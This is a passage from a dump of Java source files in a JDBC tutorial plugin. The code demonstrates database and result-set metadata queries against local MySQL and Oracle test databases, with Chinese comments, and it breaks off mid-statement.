    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc2/MetaDataTest.java",
    "content": "package com.jun.plugin.jdbc.jdbc2;\nimport java.io.BufferedInputStream;\nimport java.io.FileInputStream;\nimport java.io.InputStream;\nimport java.sql.Connection;\nimport java.sql.DatabaseMetaData;\nimport java.sql.DriverManager;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\n\npublic class MetaDataTest {\n\tstatic Connection con = null;\n\tstatic {\n\t\ttry {\n\t\t\tClass.forName(\"com.mysql.jdbc.Driver\");\n\t\t\tcon = DriverManager.getConnection(\n\t\t\t\t\t\"jdbc:mysql://localhost:3306/erp2?useUnicode=true&characterEncoding=utf-8\", \"root\", \"mysqladmin\");\n\t\t\tPreparedStatement pst = con.prepareStatement(\"drop table if exists user;\");\n\t\t\tpst.execute();\n\t\t\tpst = con.prepareStatement(\n\t\t\t\t\t\"create table user(id int auto_increment primary key comment '主键啊',name varchar(20) not\"\n\t\t\t\t\t\t\t+ \" null comment '名称啊',age int default 18 comment '年龄啊',salary float(8,2) comment '薪水啊',rq date,sj time,rj timestamp);\");\n\t\t\tpst.execute();\n\t\t\tString sql = \"insert into user (name,age,salary,rq,sj,rj) values (?,?,?,?,?,?)\";\n\t\t\tpst = con.prepareStatement(sql);\n\t\t\tfor (int i = 1; i <= 10; i++) {\n\t\t\t\tpst.setString(1, \"zs\" + i);\n\t\t\t\tpst.setInt(2, 17 + i);\n\t\t\t\tpst.setFloat(3, 2600 + i * 100.0f);\n\t\t\t\tlong time = System.currentTimeMillis();\n\t\t\t\tpst.setDate(4, new java.sql.Date(time));\n\t\t\t\tpst.setTime(5, new java.sql.Time(time));\n\t\t\t\tpst.setTimestamp(6, new java.sql.Timestamp(time));\n\t\t\t\tpst.addBatch();\n\t\t\t}\n\t\t\tpst.executeBatch();\n\t\t\tpst.close();\n\t\t} catch (Exception ex) {\n\t\t\tthrow new ExceptionInInitializerError(ex);\n\t\t}\n\t}\n\t/**\n\t * DatabaseMetaData一些用法\n\t * \n\t * @throws Exception\n\t */\n\tpublic static void getDBInfo() throws Exception {\n\t\tDatabaseMetaData dbmd = con.getMetaData();\n\t\tSystem.out.println(dbmd.getDatabaseProductName());// 获取数据库产品名称\n\t\tSystem.out.println(dbmd.getDatabaseProductVersion());// 获取数据库产品版本号\n\t\tSystem.out.println(dbmd.getCatalogSeparator());// 获取数据库用作类别和表名之间的分隔符 如test.user\n\t\tSystem.out.println(dbmd.getDriverVersion());// 获取驱动版本\n\t\tSystem.out.println(\"*******************可用的数据库列表*********************\");\n\t\tResultSet rs = dbmd.getCatalogs();// 取可在此数据库中使用的类别名,在mysql中说白了就是可用的数据库名称，只有一列\n\t\twhile (rs.next()) {\n\t\t\tSystem.out.println(rs.getString(1));\n\t\t}\n\t\tSystem.out.println(\"********************所有表********************************\");\n\t\t/**\n\t\t * catalog 类别名称 schemaPattern 用户方案模式， tableNamePattern 表 types 类型 获取所有表\n\t\t * dbmd.getTables(catalog, schemaPattern, tableNamePattern, types)\n\t\t */\n\t\trs = dbmd.getTables(null, null, null, new String[] { \"TABLE\" });// 参数列表 1:类别名称,2:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 模式名称的模式,3:表名称模式,4:要包括的表类型所组成的列表\n\t\twhile (rs.next()) {\n\t\t\t/**\n\t\t\t * 所有的列信息。如下 TABLE_CAT String => 表类别（可为 null） TABLE_SCHEM String => 表模式（可为 null）\n\t\t\t * TABLE_NAME String => 表名称 COLUMN_NAME String => 列名称 DATA_TYPE int => 来自\n\t\t\t * java.sql.Types 的 SQL 类型 TYPE_NAME String => 数据源依赖的类型名称，对于 UDT，该类型名称是完全限定的\n\t\t\t * COLUMN_SIZE int => 列的大小。 BUFFER_LENGTH 未被使用。 DECIMAL_DIGITS int => 小数部分的位数。对于\n\t\t\t * DECIMAL_DIGITS 不适用的数据类型，则返回 Null。 NUM_PREC_RADIX int => 基数（通常为 10 或 2）\n\t\t\t * NULLABLE int => 是否允许使用 NULL。 columnNoNulls - 可能不允许使用 NULL 值 columnNullable -\n\t\t\t * 明确允许使用 NULL 值 columnNullableUnknown - 不知道是否可使用 null REMARKS String =>\n\t\t\t * 描述列的注释（可为 null） COLUMN_DEF String => 该列的默认值，当值在单引号内时应被解释为一个字符串（可为 null）\n\t\t\t * SQL_DATA_TYPE int => 未使用 SQL_DATETIME_SUB int => 未使用 CHAR_OCTET_LENGTH int =>\n\t\t\t * 对于 char 类型，该长度是列中的最大字节数 ORDINAL_POSITION int => 表中的列的索引（从 1 开始） IS_NULLABLE\n\t\t\t * String => ISO 规则用于确定列是否包括 null。 YES --- 如果参数可以包括 NULL NO --- 如果参数不可以包括 NULL\n\t\t\t * 空字符串 --- 如果不知道参数是否可以包括 null SCOPE_CATLOG String => 表的类别，它是引用属性的作用域（如果\n\t\t\t * DATA_TYPE 不是 REF，则为 null） SCOPE_SCHEMA String => 表的模式，它是引用属性的作用域（如果 DATA_TYPE\n\t\t\t * 不是 REF，则为 null） SCOPE_TABLE String => 表名称，它是引用属性的作用域（如果 DATA_TYPE 不是 REF，则为\n\t\t\t * null） SOURCE_DATA_TYPE short => 不同类型或用户生成 Ref 类型、来自 java.sql.Types 的 SQL\n\t\t\t * 类型的源类型（如果 DATA_TYPE 不是 DISTINCT 或用户生成的 REF，则为 null） IS_AUTOINCREMENT String\n\t\t\t * => 指示此列是否自动增加 YES --- 如果该列自动增加 NO --- 如果该列不自动增加 空字符串 --- 如果不能确定该列是否是自动增加参数\n\t\t\t * \n\t\t\t */\n\t\t\tSystem.out.println(rs.getString(3) + \"->\" + rs.getString(4));// 打印表类别,表模式,表名称，列名称，\n\t\t}\n\t\tSystem.out.println(\"##############################################################\");\n\t\t/**\n\t\t * catalog 类别名称 schema 用户方案名称 table 表名 获取指定表的主键信息 dbmd.getPrimaryKeys(catalog,\n\t\t * schema, table)\n\t\t * \n\t\t */\n\t\trs = dbmd.getPrimaryKeys(\"test\", null, \"user\");\n\t\twhile (rs.next()) {\n\t\t\t/**\n\t\t\t * 所有列信息如下: TABLE_CAT String => 表类别（可为 null） TABLE_SCHEM String => 表模式（可为 null）\n\t\t\t * TABLE_NAME String => 表名称 COLUMN_NAME String => 列名称 KEY_SEQ short => 主键中的序列号（值\n\t\t\t * 1 表示主键中的第一列，值 2 表示主键中的第二列）。 PK_NAME String => 主键的名称（可为 null）\n\t\t\t * \n\t\t\t */\n\t\t\tSystem.out.println(rs.getString(1) + \",\" + rs.getString(2) + \",\" + rs.getString(3) + \",\" + rs.getString(4)\n\t\t\t\t\t+ \",\" + rs.getShort(5) + \",\" + rs.getString(6));\n\t\t}\n\t\tSystem.out.println(\"##############################################################\");\n\t\t/**\n\t\t * catalog 类别名称 schemaPattern 用户方案，模式 tableNamePattern 表 columnNamePattern 列\n\t\t * 获取表的列信息 dbmd.getColumns(catalog, schemaPattern, tableNamePattern,\n\t\t * columnNamePattern)\n\t\t */\n\t\trs = dbmd.getColumns(\"test\", null, \"user\", null);\n\t\twhile (rs.next()) {\n\t\t\t/**\n\t\t\t * 所有列如下： TABLE_CAT String => 表类别（可为 null） TABLE_SCHEM String => 表模式（可为 null）\n\t\t\t * TABLE_NAME String => 表名称 COLUMN_NAME String => 列名称 DATA_TYPE int => 来自\n\t\t\t * java.sql.Types 的 SQL 类型 TYPE_NAME String => 数据源依赖的类型名称，对于 UDT，该类型名称是完全限定的\n\t\t\t * COLUMN_SIZE int => 列的大小。 BUFFER_LENGTH 未被使用。 DECIMAL_DIGITS int => 小数部分的位数。对于\n\t\t\t * DECIMAL_DIGITS 不适用的数据类型，则返回 Null。 NUM_PREC_RADIX int => 基数（通常为 10 或 2）\n\t\t\t * NULLABLE int => 是否允许使用 NULL。 columnNoNulls - 可能不允许使用 NULL 值 columnNullable -\n\t\t\t * 明确允许使用 NULL 值 columnNullableUnknown - 不知道是否可使用 null REMARKS String =>\n\t\t\t * 描述列的注释（可为 null） COLUMN_DEF String => 该列的默认值，当值在单引号内时应被解释为一个字符串（可为 null）\n\t\t\t * SQL_DATA_TYPE int => 未使用 SQL_DATETIME_SUB int => 未使用 CHAR_OCTET_LENGTH int =>\n\t\t\t * 对于 char 类型，该长度是列中的最大字节数 ORDINAL_POSITION int => 表中的列的索引（从 1 开始） IS_NULLABLE\n\t\t\t * String => ISO 规则用于确定列是否包括 null。 YES --- 如果参数可以包括 NULL NO --- 如果参数不可以包括 NULL\n\t\t\t * 空字符串 --- 如果不知道参数是否可以包括 null SCOPE_CATLOG String => 表的类别，它是引用属性的作用域（如果\n\t\t\t * DATA_TYPE 不是 REF，则为 null） SCOPE_SCHEMA String => 表的模式，它是引用属性的作用域（如果 DATA_TYPE\n\t\t\t * 不是 REF，则为 null） SCOPE_TABLE String => 表名称，它是引用属性的作用域（如果 DATA_TYPE 不是 REF，则为\n\t\t\t * null） SOURCE_DATA_TYPE short => 不同类型或用户生成 Ref 类型、来自 java.sql.Types 的 SQL\n\t\t\t * 类型的源类型（如果 DATA_TYPE 不是 DISTINCT 或用户生成的 REF，则为 null） IS_AUTOINCREMENT String\n\t\t\t * => 指示此列是否自动增加 YES --- 如果该列自动增加 NO --- 如果该列不自动增加 空字符串 --- 如果不能确定该列是否是自动增加参数\n\t\t\t * \n\t\t\t */\n\t\t\tSystem.out.println(\n\t\t\t\t\trs.getString(\"COLUMN_NAME\") + \" 类型=\" + rs.getInt(\"DATA_TYPE\") + \" 列大小=\" + rs.getInt(\"COLUMN_SIZE\")\n\t\t\t\t\t\t\t+ \" 注释=\" + rs.getString(\"REMARKS\") + \" 是否允许为NULL=\" + rs.getInt(\"NULLABLE\"));\n\t\t\t// 还有很多很多方法，在这里就不一一列举了\n\t\t}\n\t}\n\t/**\n\t * ResultSetMetaData一些用法\n\t * \n\t * @throws Exception\n\t */\n\tpublic static void getRsInfo() throws Exception {\n\t\tPreparedStatement pst = con.prepareStatement(\"select * from user\");\n\t\tResultSet rs = pst.executeQuery();\n\t\tResultSetMetaData rsmd = rs.getMetaData();// 结果集元\n\t\tSystem.out.println(\"下面这些方法是ResultSetMetaData中方法\");\n\t\tSystem.out.println(\"获得1列所在的Catalog名字 : \" + rsmd.getCatalogName(1));\n\t\tSystem.out.println(\"获得1列对应数据类型的类 \" + rsmd.getColumnClassName(1));\n\t\tSystem.out.println(\"获得该ResultSet所有列的数目 \" + rsmd.getColumnCount());\n\t\tSystem.out.println(\"1列在数据库中类型的最大字符个数\" + rsmd.getColumnDisplaySize(1));\n\t\tSystem.out.println(\" 1列的默认的列的标题\" + rsmd.getColumnLabel(1));\n\t\t// System.out.println(\"1列的模式\" + rsmd.GetSchemaName(1));\n\t\tSystem.out.println(\"1列的类型,返回SqlType中的编号 \" + rsmd.getColumnType(1));\n\t\tSystem.out.println(\"1列在数据库中的类型，返回类型全名\" + rsmd.getColumnTypeName(1));\n\t\tSystem.out.println(\"1列类型的精确度(类型的长度): \" + rsmd.getPrecision(1));\n\t\tSystem.out.println(\"1列小数点后的位数 \" + rsmd.getScale(1));\n\t\tSystem.out.println(\"1列对应的模式的名称（应该用于Oracle） \" + rsmd.getSchemaName(1));\n\t\tSystem.out.println(\"1列对应的表名 \" + rsmd.getTableName(1));\n\t\tSystem.out.println(\"1列是否自动递增\" + rsmd.isAutoIncrement(1));\n\t\tSystem.out.println(\"1列在数据库中是否为货币型\" + rsmd.isCurrency(1));\n\t\tSystem.out.println(\"1列是否为空\" + rsmd.isNullable(1));\n\t\tSystem.out.println(\"1列是否为只读\" + rsmd.isReadOnly(1));\n\t\tSystem.out.println(\"1列能否出现在where中\" + rsmd.isSearchable(1));\n\t\trs.close();\n\t\tpst.close();\n\t}\n\tpublic static void main(String[] args) throws Exception {\n\t\tgetRsInfo();\n        getDBInfo();  \n\t}\n\t\n\t//*********************************************************\n\tprivate MetaDataTest jbpu = MetaDataTest.getInstance();  \n    \n    public MetaDataTest getJbpu() {  \n        return jbpu;  \n    }  \n      \n    public void setJbpu(MetaDataTest jbpu){  \n        this.jbpu = jbpu;  \n    }  \n      \n    public Properties getProperties(){  \n        Properties pros = MetaDataTest.readPropertiesFile();  \n        return pros;  \n    }  \n  \n    /** \n     * 读取配置文件jdbc.properties中的数据库名称 \n     * @return \n     * @throws Exception \n     */  \n    public String getDataSourceName()throws Exception{  \n        Properties pros = this.getProperties();  \n        String dbName = pros.get(\"dbName\").toString();  \n        return dbName;  \n    }  \n      \n    /** \n     * 获取数据库中的表名称与视图名称 \n     * @return \n     */  \n    public List getTablesAndViews()throws Exception{  \n        Connection conn = jbpu.getConnection();  \n        ResultSet rs = null;  \n        List list = new ArrayList();  \n        try {  \n            Properties pros = this.getProperties();  \n            String schema = pros.get(\"user\").toString();  \n            DatabaseMetaData metaData = conn.getMetaData();  \n            rs = metaData.getTables(null, schema, null, new String[]{\"TABLE\",\"VIEW\"});  \n            while(rs.next()){  \n                String tableName = rs.getString(\"TABLE_NAME\");  \n                list.add(tableName);  \n            }  \n        } catch (SQLException e) {  \n            e.printStackTrace();  \n        } finally{  \n            jbpu.close(rs, null, conn);  \n        }  \n        return list;  \n    }  \n      \n    /** \n     * 利用表名和数据库用户名查询出该表对应的字段类型 \n     * @param tableName 表名 \n     * @return \n     * @throws Exception \n     */  \n    public String generateBean()throws Exception{  \n        Connection conn = jbpu.getConnection();  \n        ResultSet rs = null;  \n        String strJavaBean = \"\";  \n        String tableName = this.getDataSourceName();  \n        try{  \n            Properties pros = this.getProperties();  \n            String schema = pros.get(\"user\").toString();  \n            DatabaseMetaData metaData = conn.getMetaData();  \n            rs = metaData.getColumns(null, schema, tableName, null);  \n            Map map = new HashMap();  \n            while(rs.next()){  \n                String columnName = rs.getString(\"COLUMN_NAME\");//列名  \n                String dataType  = rs.getString(\"DATA_TYPE\");//字段数据类型(对应java.sql.Types中的常量)  \n                String typeName = rs.getString(\"TYPE_NAME\");//字段类型名称(例如：VACHAR2)  \n                map.put(columnName, dataType+\":\"+typeName);  \n            }  \n              \n            // 其它生成javaBean的相关操作  \n              \n        }catch(Exception e){  \n            e.printStackTrace();  \n        }finally{  \n            jbpu.close(rs, null, conn);  \n        }  \n        return strJavaBean;  \n    }  \n    //************************************************************************\n    private static String filePath = \"jdbc.properties\";   \n    private static MetaDataTest instance = null;  \n      \n    public MetaDataTest() {  \n        super();  \n    }  \n  \n    /** \n     * 单例方式创建对象 \n     * @return \n     */  \n    public static MetaDataTest getInstance() {  \n        if (instance == null) {  \n            synchronized (MetaDataTest.class) {  \n                if (instance == null) {  \n                    instance = new MetaDataTest();  \n                }  \n            }  \n        }  \n        return instance;  \n    }  \n         \n    /** \n     * 读取properties文件中 数据库连接信息 \n     * @param filePath \n     * add 2012-4-17 \n     */  \n    public static Properties readPropertiesFile(){  \n        String realFilePath = Thread.currentThread().getContextClassLoader().getResource(\"\").getPath()+filePath;   \n        Properties pros = new Properties();    \n        try {    \n            InputStream is = new BufferedInputStream(new FileInputStream(realFilePath));    \n            pros.load(is);   \n        } catch (Exception e) {    \n            e.printStackTrace();  \n        }  \n        return pros;  \n    }   \n      \n    /** \n     * 注册驱动 \n     * 静态代码块 用于启动web服务器时加载驱动 \n     */  \n    static{  \n        Properties pros = readPropertiesFile();  \n        String className = (String) pros.get(\"className\");  \n        try {  \n            Class.forName(className).newInstance();  \n        } catch (Exception e) {  \n            e.printStackTrace();  \n        }   \n    }  \n      \n    /** \n     * 获取数据库连接 \n     * modify 2012-4-17 \n     * @param con \n     * @return \n     */  \n    public Connection getConnection(){  \n        Properties pros = readPropertiesFile();  \n        String url = (String) pros.get(\"url\");  \n        String user = (String) pros.get(\"user\");  \n        String password = (String) pros.get(\"password\");  \n        Connection conn = null;  \n        try {  \n            conn = DriverManager.getConnection(url,user,password);  \n        } catch (Exception e) {  \n            e.printStackTrace();  \n        }  \n        return conn;  \n    }  \n         \n    /** \n     *  依次关闭ResultSet、Statement、Connection \n     *  若对象不存在则创建一个空对象 \n     * @param rs \n     * @param st \n     * @param pst \n     * @param conn \n     */  \n    public void close(ResultSet rs,Statement st,Connection conn){  \n        if(rs != null){  \n            try {  \n                rs.close();  \n            } catch (SQLException e) {  \n                e.printStackTrace();  \n            } finally{  \n                if(st != null){  \n                    try {  \n                        st.close();  \n                    } catch (SQLException e) {  \n                        e.printStackTrace();  \n                    } finally{  \n                        if(conn != null){  \n                            try {  \n                                conn.close();  \n                            } catch (SQLException e) {  \n                                e.printStackTrace();  \n                            }  \n                        }  \n                    }  \n                }  \n            }  \n        }  \n    }  \n  \n  \n    /** \n     * 新增、修改、删除、查询记录(也可以改为有结果集ResultSet返回的查询方法) \n     * @param sql \n     * @throws   \n     */  \n    public void execute(String sql){  \n        MetaDataTest jbpu = getInstance();  \n        Connection conn = null;  \n        PreparedStatement pst = null;  \n        try {  \n            conn = jbpu.getConnection();  \n            conn.setAutoCommit(false);  \n            pst = conn.prepareStatement(sql);  \n            pst.execute();  \n            conn.commit();  \n        } catch (Exception e) {  \n            try {  \n                conn.rollback();  \n            } catch (SQLException e1) {  \n                e1.printStackTrace();  \n            }  \n            e.printStackTrace();  \n        } finally{  \n            //Statement st = null;  \n            ResultSet rs = null;  \n            jbpu.close(rs, pst, conn);   \n        }  \n    }  \n   \n    /** \n     * 新增、修改、删除记录 \n     * @param sql \n     * @throws   \n     */  \n    public void executeUpdate(String sql) {  \n        MetaDataTest jbpu = getInstance();  \n        Connection conn = null;  \n        PreparedStatement pst = null;  \n        try {  \n            conn = jbpu.getConnection();  \n            conn.setAutoCommit(false);  \n            pst = conn.prepareStatement(sql);  \n            pst.executeUpdate();  \n            conn.commit();  \n        } catch (Exception e) {  \n            try {  \n                conn.rollback();  \n            } catch (SQLException e1) {  \n                e1.printStackTrace();  \n            }  \n            e.printStackTrace();  \n        } finally{  \n            //Statement st = null;  \n            ResultSet rs = null;  \n            jbpu.close(rs, pst, conn);   \n        }  \n    }  \n    \n    \n    \n}"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc2/MySql.java",
    "content": "package com.jun.plugin.jdbc.jdbc2;\nimport java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\n\n/**\n * MySql类用于实施MySql数据库操作\n * @author Wujun\n */\npublic class MySql {\n\n    // 定义MySql驱动,数据库地址,数据库用户名 密码, 执行语句和数据库连接\n    public String driver = \"com.mysql.jdbc.Driver\";\n    public String url = \"jdbc:mysql://127.0.0.1:3306/htmldatacollection\";\n    public String user = \"root\";\n    public String password = \"root\";\n    public Statement stmt = null;\n    public Connection conn = null;\n\n    /**\n     * 创建一个插入数据的方法  executeUpdate()\n     * @param insertSQl\n     */\n    public void datatoMySql(String insertSQl) {\n\n        try {\n            try {\n                Class.forName(driver).newInstance();\n            } catch (Exception e) {\n                System.out.println(\"无法找到驱动器\");\n                e.printStackTrace();\n            }\n            // 创建连接\n            conn = DriverManager.getConnection(url, user, password);\n            // 创建一个 Statement 对象来将 SQL 语句发送到数据库\n            stmt = conn.createStatement();\n            // 执行SQL 插入语句\n            stmt.executeUpdate(insertSQl);\n            // 执行完 停止执行语句\n            stmt.close();\n            // 执行完关闭数据库连接\n            conn.close();\n        } catch (Exception e) {\n            System.out.println(e.getMessage());\n            e.printStackTrace();\n        }\n    }\n\n    /**\n     * 创建一个用于select查看数据的方法 executeQuery();\n     * @param strSelect\n     * @return ResultSet\n     */\n    public ResultSet queryMySql(String strSelect) {\n        // 创建一个数据集 用于获取查询到的行数据\n        ResultSet rs = null;\n        try {\n            Class.forName(driver).newInstance();\n        } catch (Exception e) {\n            System.out.println(\"无法找到驱动器!\");\n            e.printStackTrace();\n        }\n\n        try {\n            // 创建连接\n            conn = DriverManager.getConnection(url, user, password);\n            // 创建一个 Statement 对象来将 SQL 语句发送到数据库\n            stmt = conn.createStatement();\n            // 执行查询语句   获取ResultSet对象\n            rs = stmt.executeQuery(strSelect);\n        } catch (SQLException e) {\n            System.out.println(e.getMessage());\n            e.printStackTrace();\n        }\n        //返回结果集\n        return rs;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc2/test/JdbcUtil2211.java",
    "content": "package com.jun.plugin.jdbc.jdbc2.test;\n\n\nimport java.sql.Connection;\nimport java.sql.DatabaseMetaData;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\n\nimport com.jun.plugin.jdbc.jdbc2.JdbcUtil;\n\n//import oracle.jdbc.driver.OracleConnection;  \n  \n/** \n * @Description: JDBC操作元数据示例-- DatabaseMetaData接口 \n * @version V1.0 \n */  \npublic class JdbcUtil2211 {  \n    //获得驱动    \n    private static String DRIVER = \"oracle.jdbc.driver.OracleDriver\";    \n    //获得url    \n    private static String URL = \"jdbc:oracle:thin:@localhost:test\";    \n    //获得连接数据库的用户名    \n    private static String USER = \"root\";    \n    //获得连接数据库的密码    \n    private static String PASS = \"root\";    \n    static {    \n        try {     \n            //初始化JDBC驱动并让驱动加载到jvm中    \n            Class.forName(DRIVER);    \n        } catch (ClassNotFoundException e) {    \n            e.printStackTrace();    \n        }    \n    }    \n      \n    public static Connection getConnection(){    \n        Connection conn = null;    \n        try {     \n            //连接数据库    \n              \n           /* \n            * 设置可获取REMARK备注信息 \n           Properties props =new Properties(); \n           props.put(\"remarksReporting\",\"true\"); \n           props.put(\"user\", USER); \n           props.put(\"password\", PASS); \n           conn =DriverManager.getConnection(URL,props);*/  \n              \n//            conn = DriverManager.getConnection(URL,USER,PASS);    \n            conn = JdbcUtil.getConnection();    \n            conn.setAutoCommit(true);  \n        } catch (SQLException e) {    \n            e.printStackTrace();    \n        }    \n        return conn;    \n    }    \n  \n    //关闭连接  \n    public static void close(Object o){    \n        if (o == null){    \n            return;    \n        }    \n        if (o instanceof ResultSet){    \n            try {    \n                ((ResultSet)o).close();    \n            } catch (SQLException e) {    \n                e.printStackTrace();    \n            }    \n        } else if(o instanceof Statement){    \n            try {    \n                ((Statement)o).close();    \n            } catch (SQLException e) {    \n                e.printStackTrace();    \n            }    \n        } else if (o instanceof Connection){    \n            Connection c = (Connection)o;    \n            try {    \n                if (!c.isClosed()){    \n                    c.close();    \n                }    \n            } catch (SQLException e) {    \n                e.printStackTrace();    \n            }    \n        }      \n    }    \n      \n      \n    public static void close(ResultSet rs, Statement stmt,     \n            Connection conn){    \n        close(rs);    \n        close(stmt);    \n        close(conn);    \n    }    \n      \n    public static void close(ResultSet rs,     \n            Connection conn){    \n        close(rs);     \n        close(conn);    \n    }    \n      \n      \n      \n    /** \n     * @Description: 获取数据库相关信息 \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午5:09:12  \n     * @throws \n     */  \n    public static void getDataBaseInfo() {    \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n        try{    \n             DatabaseMetaData dbmd = conn.getMetaData();  \n             System.out.println(\"数据库已知的用户: \"+ dbmd.getUserName());      \n             System.out.println(\"数据库的系统函数的逗号分隔列表: \"+ dbmd.getSystemFunctions());      \n             System.out.println(\"数据库的时间和日期函数的逗号分隔列表: \"+ dbmd.getTimeDateFunctions());      \n             System.out.println(\"数据库的字符串函数的逗号分隔列表: \"+ dbmd.getStringFunctions());      \n             System.out.println(\"数据库供应商用于 'schema' 的首选术语: \"+ dbmd.getSchemaTerm());      \n             System.out.println(\"数据库URL: \" + dbmd.getURL());      \n             System.out.println(\"是否允许只读:\" + dbmd.isReadOnly());      \n             System.out.println(\"数据库的产品名称:\" + dbmd.getDatabaseProductName());      \n             System.out.println(\"数据库的版本:\" + dbmd.getDatabaseProductVersion());      \n             System.out.println(\"驱动程序的名称:\" + dbmd.getDriverName());      \n             System.out.println(\"驱动程序的版本:\" + dbmd.getDriverVersion());    \n               \n             System.out.println(\"数据库中使用的表类型\");      \n             rs = dbmd.getTableTypes();      \n             while (rs.next()) {      \n                 System.out.println(rs.getString(\"TABLE_TYPE\"));      \n             }      \n        }catch (SQLException e){    \n            e.printStackTrace();    \n        } finally{  \n        \tJdbcUtil2211.close(rs,conn);  \n        }   \n    }   \n      \n    /** \n     * @Description:获得数据库中所有Schemas(对应于oracle中的Tablespace) \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午5:10:35  \n     * @throws \n     */  \n    public static void getSchemasInfo(){    \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n        try{    \n            DatabaseMetaData dbmd = conn.getMetaData();  \n            rs = dbmd.getSchemas();     \n            while (rs.next()){       \n                String tableSchem = rs.getString(\"TABLE_SCHEM\");   \n                System.out.println(tableSchem);       \n            }       \n        } catch (SQLException e){    \n            e.printStackTrace();       \n        } finally{  \n            JdbcUtil2211.close(rs,conn);  \n        }    \n    }    \n      \n    /** \n     * @Description: 获取数据库中所有的表信息 \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午5:08:28  \n     * @throws \n     */  \n    public static void getTablesList() {    \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n        try {    \n            /** \n             * 设置连接属性,使得可获取到表的REMARK(备注) \n             */  \n//            ((OracleConnection)conn).setRemarksReporting(true);   \n            DatabaseMetaData dbmd = conn.getMetaData();  \n            String[] types = { \"TABLE\" };    \n            rs = dbmd.getTables(null, null, \"%\", types);    \n            while (rs.next()) {    \n                String tableName = rs.getString(\"TABLE_NAME\");  //表名    \n                String tableType = rs.getString(\"TABLE_TYPE\");  //表类型    \n                String remarks = rs.getString(\"REMARKS\");       //表备注    \n                System.out.println(tableName + \" - \" + tableType + \" - \" + remarks);    \n            }    \n        } catch (SQLException e) {    \n            e.printStackTrace();    \n        } finally{  \n            JdbcUtil2211.close(rs,conn);  \n        }   \n    }    \n      \n    /** \n     * @Description: 获取某表信息 \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午3:26:30  \n     * @throws \n     */  \n    public static void getTablesInfo(){  \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n        try {  \n            /** \n             * 设置连接属性,使得可获取到表的REMARK(备注) \n             */  \n//            ((OracleConnection)conn).setRemarksReporting(true);   \n            DatabaseMetaData dbmd = conn.getMetaData();  \n            /** \n             * 获取给定类别中使用的表的描述。 \n             * 方法原型:ResultSet getTables(String catalog,String schemaPattern,String tableNamePattern,String[] types); \n             * catalog - 表所在的类别名称;\"\"表示获取没有类别的列,null表示获取所有类别的列。 \n             * schema - 表所在的模式名称(oracle中对应于Tablespace);\"\"表示获取没有模式的列,null标识获取所有模式的列; 可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * tableNamePattern - 表名称;可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * types - 表类型数组; \"TABLE\"、\"VIEW\"、\"SYSTEM TABLE\"、\"GLOBAL TEMPORARY\"、\"LOCAL TEMPORARY\"、\"ALIAS\" 和 \"SYNONYM\";null表示包含所有的表类型;可包含单字符通配符(\"_\"),或多字符通配符(\"%\");  \n             */  \n            rs = dbmd.getTables(null, null, \"CUST_INTER_TF_SERVICE_REQ\", new String[]{\"TABLE\",\"VIEW\"});   \n  \n  \n            while(rs.next()){  \n                 String tableCat = rs.getString(\"TABLE_CAT\");  //表类别(可为null)   \n                 String tableSchemaName = rs.getString(\"TABLE_SCHEM\");//表模式（可能为空）,在oracle中获取的是命名空间,其它数据库未知       \n                 String tableName = rs.getString(\"TABLE_NAME\");  //表名    \n                 String tableType = rs.getString(\"TABLE_TYPE\");  //表类型,典型的类型是 \"TABLE\"、\"VIEW\"、\"SYSTEM TABLE\"、\"GLOBAL TEMPORARY\"、\"LOCAL TEMPORARY\"、\"ALIAS\" 和 \"SYNONYM\"。  \n                 String remarks = rs.getString(\"REMARKS\");       //表备注    \n                   \n                 System.out.println(tableCat + \" - \" + tableSchemaName + \" - \" +tableName + \" - \" + tableType + \" - \"   \n                        + remarks);    \n            }  \n        } catch (Exception ex) {  \n            ex.printStackTrace();  \n        }finally{  \n            JdbcUtil2211.close(rs,conn);  \n        }  \n    }  \n  \n    /** \n     * @Description: 获取表主键信息 \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午5:12:53  \n     * @throws \n     */  \n    public static void getPrimaryKeysInfo() {    \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n        try{    \n            DatabaseMetaData dbmd = conn.getMetaData();  \n            /** \n             * 获取对给定表的主键列的描述 \n             * 方法原型:ResultSet getPrimaryKeys(String catalog,String schema,String table); \n             * catalog - 表所在的类别名称;\"\"表示获取没有类别的列,null表示获取所有类别的列。 \n             * schema - 表所在的模式名称(oracle中对应于Tablespace);\"\"表示获取没有模式的列,null标识获取所有模式的列; 可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * table - 表名称;可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             */  \n//            rs = dbmd.getPrimaryKeys(null, null, \"CUST_INTER_TF_SERVICE_REQ\");    \n            rs = dbmd.getPrimaryKeys(null, null, \"sys_fileupload\");    \n              \n            while (rs.next()){    \n                String tableCat = rs.getString(\"TABLE_CAT\");  //表类别(可为null)   \n                String tableSchemaName = rs.getString(\"TABLE_SCHEM\");//表模式（可能为空）,在oracle中获取的是命名空间,其它数据库未知       \n                String tableName = rs.getString(\"TABLE_NAME\");  //表名    \n                String columnName = rs.getString(\"COLUMN_NAME\");//列名    \n                short keySeq = rs.getShort(\"KEY_SEQ\");//序列号(主键内值1表示第一列的主键，值2代表主键内的第二列)    \n                String pkName = 